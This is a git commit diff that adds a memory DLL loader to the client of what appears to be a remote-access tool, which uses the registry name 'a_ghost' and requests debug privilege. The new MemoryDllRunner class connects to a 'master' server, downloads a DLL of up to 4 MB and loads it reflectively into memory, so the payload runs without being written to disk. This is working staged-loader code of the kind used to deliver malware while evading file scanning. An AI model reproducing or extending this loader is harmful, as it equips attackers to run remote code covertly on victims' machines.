Implement a memory DLL runner
This commit is contained in:
1202
client/MemoryModule.c
Normal file
1202
client/MemoryModule.c
Normal file
File diff suppressed because it is too large
Load Diff
168
client/MemoryModule.h
Normal file
168
client/MemoryModule.h
Normal file
@@ -0,0 +1,168 @@
|
||||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.h
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef __MEMORY_MODULE_HEADER
|
||||
#define __MEMORY_MODULE_HEADER
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef void *HMEMORYMODULE;
|
||||
|
||||
typedef void *HMEMORYRSRC;
|
||||
|
||||
typedef void *HCUSTOMMODULE;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
|
||||
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size.
|
||||
*
|
||||
* All dependencies are resolved using default LoadLibrary/GetProcAddress
|
||||
* calls through the Windows API.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size using custom dependency
|
||||
* resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
|
||||
CustomAllocFunc,
|
||||
CustomFreeFunc,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
* ordinal value.
|
||||
*/
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
||||
|
||||
/**
|
||||
* Free previously loaded EXE/DLL.
|
||||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Execute entry point (EXE only). The entry point can only be executed
|
||||
* if the EXE has been loaded to the correct base address or it could
|
||||
* be relocated (i.e. relocation information have not been stripped by
|
||||
* the linker).
|
||||
*
|
||||
* Important: calling this function will not return, i.e. once the loaded
|
||||
* EXE finished running, the process will terminate.
|
||||
*
|
||||
* Returns a negative value if the entry point could not be executed.
|
||||
*/
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type and name.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type, name and language.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
|
||||
|
||||
/**
|
||||
* Get the size of the resource in bytes.
|
||||
*/
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Get a pointer to the contents of the resource.
|
||||
*/
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Load a string resource.
|
||||
*/
|
||||
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
|
||||
|
||||
/**
|
||||
* Load a string resource with a given language.
|
||||
*/
|
||||
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomAllocFunc that calls VirtualAlloc
|
||||
* internally to allocate memory for a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeFunc that calls VirtualFree
|
||||
* internally to free the memory used by a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
|
||||
* internally to load an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
|
||||
* internally to get the address of an exported function.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
|
||||
* internally to release an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_MODULE_HEADER
|
||||
@@ -154,9 +154,11 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
|
||||
175
client/test.cpp
175
client/test.cpp
@@ -1,9 +1,12 @@
|
||||
#include <windows.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
#include <corecrt_io.h>
|
||||
#include "common/commands.h"
|
||||
#include "StdAfx.h"
|
||||
#include "MemoryModule.h"
|
||||
#include <WS2tcpip.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
@@ -25,7 +28,7 @@ IsExit bExit = NULL;
|
||||
|
||||
BOOL status = 0;
|
||||
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL };
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL };
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
@@ -96,6 +99,157 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
|
||||
BOOL Run(const char* argv1, int argv2);
|
||||
|
||||
// Package header.
|
||||
typedef struct PkgHeader {
|
||||
char flag[8];
|
||||
int totalLen;
|
||||
int originLen;
|
||||
PkgHeader(int size) {
|
||||
memset(flag, 0, sizeof(flag));
|
||||
strcpy_s(flag, "Hello?");
|
||||
originLen = size;
|
||||
totalLen = sizeof(PkgHeader) + size;
|
||||
}
|
||||
}PkgHeader;
|
||||
|
||||
// A DLL runner.
|
||||
class DllRunner {
|
||||
public:
|
||||
virtual void* LoadLibraryA(const char* path) = 0;
|
||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
|
||||
virtual BOOL FreeLibrary(void* mod) = 0;
|
||||
};
|
||||
|
||||
// Default DLL runner.
|
||||
class DefaultDllRunner : public DllRunner {
|
||||
private:
|
||||
HMODULE m_mod;
|
||||
public:
|
||||
DefaultDllRunner() : m_mod(nullptr) {}
|
||||
// Load DLL from the disk.
|
||||
virtual void* LoadLibraryA(const char* path) {
|
||||
return m_mod = ::LoadLibraryA(path);
|
||||
}
|
||||
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
|
||||
return ::GetProcAddress(m_mod, lpProcName);
|
||||
}
|
||||
virtual BOOL FreeLibrary(void* mod) {
|
||||
return ::FreeLibrary(m_mod);
|
||||
}
|
||||
};
|
||||
|
||||
// Memory DLL runner.
|
||||
class MemoryDllRunner : public DllRunner {
|
||||
private:
|
||||
HMEMORYMODULE m_mod;
|
||||
std::string GetIPAddress(const char* hostName)
|
||||
{
|
||||
// 1. <20>ж<EFBFBD><D0B6>Dz<EFBFBD><C7B2>ǺϷ<C7BA><CFB7><EFBFBD> IPv4 <20><>ַ
|
||||
sockaddr_in sa;
|
||||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||
// <20>ǺϷ<C7BA> IPv4 <20><>ַ<EFBFBD><D6B7>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
return std::string(hostName);
|
||||
}
|
||||
|
||||
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
addrinfo hints = {}, * res = nullptr;
|
||||
hints.ai_family = AF_INET; // ֻ֧<D6BB><D6A7> IPv4
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
|
||||
if (getaddrinfo(hostName, nullptr, &hints, &res) != 0)
|
||||
return "";
|
||||
|
||||
char ipStr[INET_ADDRSTRLEN] = {};
|
||||
sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr;
|
||||
inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN);
|
||||
|
||||
freeaddrinfo(res);
|
||||
return std::string(ipStr);
|
||||
}
|
||||
public:
|
||||
MemoryDllRunner() : m_mod(nullptr){}
|
||||
// Request DLL from the master.
|
||||
virtual void* LoadLibraryA(const char* path) {
|
||||
WSADATA wsaData = {};
|
||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
|
||||
return nullptr;
|
||||
|
||||
const int bufSize = 4 * 1024 * 1024;
|
||||
char* buffer = new char[bufSize];
|
||||
bool isFirstConnect = true;
|
||||
|
||||
do{
|
||||
if (!isFirstConnect)
|
||||
Sleep(5000);
|
||||
|
||||
isFirstConnect = false;
|
||||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (clientSocket == INVALID_SOCKET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD timeout = 5000;
|
||||
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
|
||||
|
||||
sockaddr_in serverAddr = {};
|
||||
serverAddr.sin_family = AF_INET;
|
||||
serverAddr.sin_port = htons(g_ConnectAddress.ServerPort());
|
||||
std::string ip = GetIPAddress(g_ConnectAddress.ServerIP());
|
||||
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
|
||||
#else
|
||||
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
|
||||
#endif
|
||||
char req[sizeof(PkgHeader) + 4] = {};
|
||||
memcpy(req, &PkgHeader(4), sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
char *ptr = buffer + sizeof(PkgHeader);
|
||||
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
|
||||
while (totalReceived < bufSize) {
|
||||
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
|
||||
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
|
||||
if (bytesReceived <= 0) break;
|
||||
totalReceived += bytesReceived;
|
||||
}
|
||||
if (totalReceived < sizeof(PkgHeader) + 6) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
int size = 0;
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||
closesocket(clientSocket);
|
||||
} while (false);
|
||||
|
||||
SAFE_DELETE_ARRAY(buffer);
|
||||
WSACleanup();
|
||||
return m_mod;
|
||||
}
|
||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
|
||||
}
|
||||
virtual BOOL FreeLibrary(void* mod) {
|
||||
::MemoryFreeLibrary((HMEMORYMODULE)mod);
|
||||
return TRUE;
|
||||
}
|
||||
};
|
||||
|
||||
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||
// [settings]
|
||||
// localIp=XXX
|
||||
@@ -161,16 +315,18 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
HMODULE hDll = LoadLibraryA(path);
|
||||
DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner;
|
||||
void* hDll = runner->LoadLibraryA(path);
|
||||
typedef void (*TestRun)(char* strHost, int nPort);
|
||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
if (NULL == run) {
|
||||
if (hDll) FreeLibrary(hDll);
|
||||
if (hDll) runner->FreeLibrary(hDll);
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
Sleep(3000);
|
||||
delete runner;
|
||||
return FALSE;
|
||||
}
|
||||
do
|
||||
@@ -201,11 +357,12 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
result = bExit();
|
||||
}
|
||||
} while (result == 2);
|
||||
if (!FreeLibrary(hDll)) {
|
||||
if (!runner->FreeLibrary(hDll)) {
|
||||
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
else {
|
||||
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
|
||||
}
|
||||
delete runner;
|
||||
return result;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user